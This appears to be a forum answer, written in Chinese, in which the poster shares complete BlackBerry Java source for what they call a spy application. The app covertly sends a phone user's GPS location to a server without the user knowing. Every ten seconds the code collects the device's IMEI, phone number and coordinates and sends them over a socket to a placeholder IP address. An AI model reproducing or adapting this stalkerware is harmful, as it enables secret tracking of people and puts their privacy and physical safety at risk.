2009-08-29 89 views

回答

0

我有在一個項目中,我必須做一個間諜應用程序發送用戶的GPS位置的服務器,而不知道他在這裏是代碼,我希望它可以幫助你一點點。

package mypackage; 

import java.io.OutputStreamWriter; 
import java.util.Date; 
import java.util.Timer; 
import java.util.TimerTask; 

import javax.microedition.io.Connector; 
import javax.microedition.io.SocketConnection; 
import javax.microedition.location.LocationProvider; 

import net.rim.blackberry.api.phone.Phone; 
import net.rim.device.api.gps.BlackBerryCriteria; 
import net.rim.device.api.gps.BlackBerryLocation; 
import net.rim.device.api.gps.BlackBerryLocationProvider; 
import net.rim.device.api.gps.GPSInfo; 
import net.rim.device.api.i18n.SimpleDateFormat; 
import net.rim.device.api.system.Application; 
import net.rim.device.api.system.IDENInfo; 
import net.rim.device.api.ui.component.Dialog; 

public class MyApp extends Application 
{ 
public BlackBerryCriteria _criteria; 
public BlackBerryLocationProvider _locationProvider; 
public BlackBerryLocation _location; 
public SocketConnection socket; 
double lat; 
double lon; 
public Timer _timer; 
public TimerTask _timerTask; 
public String _imei; 
public Date date; 
public String pNumber; 

public static void main(String[] args) 
{ 
    MyApp theApp = new MyApp();  
    theApp.enterEventDispatcher(); 
} 
public MyApp() 
{    
    _imei = IDENInfo.imeiToString(IDENInfo.getIMEI()); 
    pNumber = Phone.getDevicePhoneNumber(true); 
    _criteria = new BlackBerryCriteria(); 
    if(GPSInfo.isGPSModeAvailable(GPSInfo.GPS_MODE_AUTONOMOUS)){ 
    _criteria.setMode(GPSInfo.GPS_MODE_AUTONOMOUS); 
    }else{ 
     Dialog.alert("GPS not Available"); 
    } 
    _timer = new Timer(); 
    _timerTask = new TimerTask(){ 
     public void run() { 

      try{ 
       String currentdate = new SimpleDateFormat("yy/MM/dd").format(new Date(System.currentTimeMillis())); 

       _criteria.setHorizontalAccuracy(5); 
       _criteria.setVerticalAccuracy(5); 
       _criteria.setPreferredResponseTime(10000); 
       _locationProvider = (BlackBerryLocationProvider)LocationProvider.getInstance(_criteria); 
       _location= (BlackBerryLocation)_locationProvider.getLocation(-1); 
       lat =_location.getQualifiedCoordinates().getLatitude(); 
       lon = _location.getQualifiedCoordinates().getLongitude(); 
       String url = "<your IP address with port no(Format: 000.000.000.000:Port>;deviceside = false"; 
       socket = (SocketConnection)Connector.open(url,Connector.READ_WRITE); 
       socket.setSocketOption(SocketConnection.KEEPALIVE,1); 
       OutputStreamWriter _out = new OutputStreamWriter(socket.openOutputStream()); 
       String data = pNumber+"##"+_imei+"##"+lat+"##"+lon+"##"+currentdate+"##"; 
       int length = data.length(); 
       _out.write(data,0,length); 
       _out.close(); 
       socket.close(); 
      }catch(Exception e){ 
       Dialog.alert(e.toString()); 
      } 
     } 
    }; 
    _timer.scheduleAtFixedRate(_timerTask, 0,10000); 
}  
}